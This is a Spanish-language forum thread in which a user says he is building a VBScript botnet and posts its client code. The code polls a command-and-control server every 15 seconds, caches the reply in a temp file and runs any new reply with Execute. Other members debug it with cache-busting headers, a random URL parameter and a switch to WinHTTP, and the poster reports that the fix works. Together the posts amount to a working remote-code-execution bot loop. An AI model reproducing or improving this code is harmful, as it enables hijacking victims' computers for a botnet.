Autor
|
Tema: Error de XmlHTTP (Leído 4,377 veces)
|
Monkeykiller_vb
Desconectado
Mensajes: 25
|
Hola! Tengo un problema con uno de mis proyectos, quiero hacer una botnet vbs pero no funciona como esperaba: On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Set http = CreateObject("Microsoft.XmlHttp")
Do Set file = fso.OpenTextFile(fso.getSpecialFolder(2) & "\k.tmp", 1, True) filex = file.readAll file.Close http.open "GET", "http://*****.tk/btnet/cmdint.php", False http.send If Not(http.responsetext = filex) Then Set file = fso.OpenTextFile(fso.getSpecialFolder(2) & "\k.tmp", 2, True) file.Write http.responsetext file.Close Execute http.responsetext End If Wscript.Sleep 15000 Loop
Cuando se inicia por primera vez, la botnet busca en mi servidor C&C el codigo a ejecutar. Luego, ejecuta el codigo y lo guarda en un archivo llamado k.tmpCuando se repite deberia volver a buscar el codigo en el servidor, y gracias al archivo k.tmp, verificar si el codigo ya se ejecutó antes. El problema es que cuando ocurre el loop y el archivo de instrucciones del servidor se actualizó, la botnet no recibe el nuevo codigo, sino el anterior ¿Como puedo solucionarlo?
|
|
|
En línea
|
Atte.
|
|
|
MCKSys Argentina
|
Hola!
Creo que es porque deberias usar responseText, no responsetext. Creo que es case sensitive.
Saludos!
|
|
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
Monkeykiller_vb
Desconectado
Mensajes: 25
|
Amigo, no creo que sea eso. Mira esto: http://ito.mx/LGunDirectamente el responseText no se actualiza
|
|
« Última modificación: 12 Octubre 2019, 16:15 pm por Monkeykiller_vb »
|
En línea
|
Atte.
|
|
|
MCKSys Argentina
|
Prueba a quitar el On Error... a ver si te tira algun error...
Saludos!
|
|
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
ThunderCls
Desconectado
Mensajes: 455
Coder | Reverser | Gamer
|
Tu codigo funciona sin problemas, lo mas probable es que estes teniendo problemas de cache, de ahi que tu peticion no reciba datos actualizados del server. Aqui puedes intentar varias cosas 1- Intenta añadir un parametro aleatorio a tu url, no tiene que ser un parametro utilizable necesariamente, quizas algo como Randomize url = "http://*****.tk/btnet/cmdint.php&dummy=" & Rnd
solo para forzar una nueva version de la web 2- Intenta especificando los headers de tu peticion rl = "http://*****.tk/btnet/cmdint.php" http.open "GET", url, False http.setRequestHeader "pragma", "no-cache" http.setRequestHeader "Cache-Control", "no-cache, no-store" http.send
3- No estoy seguro si XmlHttp usa los settings de ie, por si acaso desactiva la cache de paginas de ie 4- Usa WinHTTP en lugar de XmlHTTP ya que segun microsoft WinHTTP no implementa cache o cookies https://docs.microsoft.com/en-us/windows/win32/winhttp/about-winhttp?redirectedfrom=MSDNSuerte
|
|
« Última modificación: 17 Octubre 2019, 03:18 am por ThunderCls »
|
En línea
|
|
|
|
Monkeykiller_vb
Desconectado
Mensajes: 25
|
Tu codigo funciona sin problemas, lo mas probable es que estes teniendo problemas de cache, de ahi que tu peticion no reciba datos actualizados del server. Aqui puedes intentar varias cosas 1- Intenta añadir un parametro aleatorio a tu url, no tiene que ser un parametro utilizable necesariamente, quizas algo como Randomize url = "http://*****.tk/btnet/cmdint.php&dummy=" & Rnd
solo para forzar una nueva version de la web 2- Intenta especificando los headers de tu peticion rl = "http://*****.tk/btnet/cmdint.php" http.open "GET", url, False http.setRequestHeader "pragma", "no-cache" http.setRequestHeader "Cache-Control", "no-cache, no-store" http.send
3- No estoy seguro si XmlHttp usa los settings de ie, por si acaso desactiva la cache de paginas de ie 4- Usa WinHTTP en lugar de XmlHTTP ya que segun microsoft WinHTTP no implementa cache o cookies https://docs.microsoft.com/en-us/windows/win32/winhttp/about-winhttp?redirectedfrom=MSDNSuerte Gracias, me funcionó cambiarlo a WinHTTP,
|
|
|
En línea
|
Atte.
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
error initializing audio stream compression ayuda con este error porfavor
Multimedia
|
®}{h²ø}{æ
|
3
|
5,870
|
27 Abril 2006, 14:44 pm
por Songoku
|
|
|
Ajax y asp.net 2.0 ,utilizando XMLHTTP
.NET (C#, VB.NET, ASP)
|
softdonet
|
2
|
3,158
|
24 Diciembre 2008, 19:58 pm
por MANULOMM
|
|
|
Solución al error 0×80070646, error 646 y error 1606 al instalar actualizaciones
Noticias
|
wolfbcn
|
0
|
3,908
|
11 Julio 2011, 20:39 pm
por wolfbcn
|
|
|
[MOD] Mensaje de error: Dma controller error - fatal error system halted
« 1 2 »
Hardware
|
evgeni1970
|
14
|
22,380
|
6 Noviembre 2011, 22:27 pm
por evgeni1970
|
|
|
Dificultad VBScript [MSXML2.XMLHTTP + RESPONSE.TEXT + TEXT AREA)]
Scripting
|
JohnConnor
|
0
|
2,357
|
16 Enero 2013, 12:37 pm
por JohnConnor
|
|